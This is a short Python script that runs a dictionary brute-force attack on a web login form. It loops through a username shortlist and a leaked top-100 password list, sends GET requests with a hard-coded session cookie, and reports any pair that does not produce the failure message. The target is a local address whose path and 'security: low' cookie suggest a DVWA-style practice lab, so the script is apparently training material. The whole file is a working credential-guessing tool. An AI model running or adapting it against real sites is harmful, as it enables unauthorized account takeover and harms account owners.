dict_attack_GET.py

from bs4 import BeautifulSoup
import requests

INCORRECT_MESSAGE = 'Username and/or password incorrect'

cookies = {
    'PHPSESSID': 'nrhha74heg9un626m5hubq5a05',
    'security': 'low',
}

headers = {
    'Connection': 'keep-alive',
    'Upgrade-Insecure-Requests': '1',
    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'Referer': 'http://172.17.0.2/vulnerabilities/brute/',
    'Accept-Language': 'en-US,en;q=0.9',
}

file_ = open('top-usernames-shortlist.txt', 'r')
USERS = file_.readlines()
file_.close()

file_ = open('darkweb2017-top100.txt', 'r')
PASSW = file_.readlines()
file_.close()

for user in USERS:
    user = user.replace('\n','')
    for password in PASSW:
        password = password.replace('\n','')

        params = (
            ('username', user),
            ('password', password),
            ('Login', 'Login'),
        )

        response = requests.get('http://172.17.0.2/vulnerabilities/brute/', headers=headers, params=params, cookies=cookies, verify=False)
        
        if INCORRECT_MESSAGE not in response.text:
            print(f'[FOUND]{user}:{password}')
            break

print(f'Tried {len(USERS)*len(PASSW)} combinations')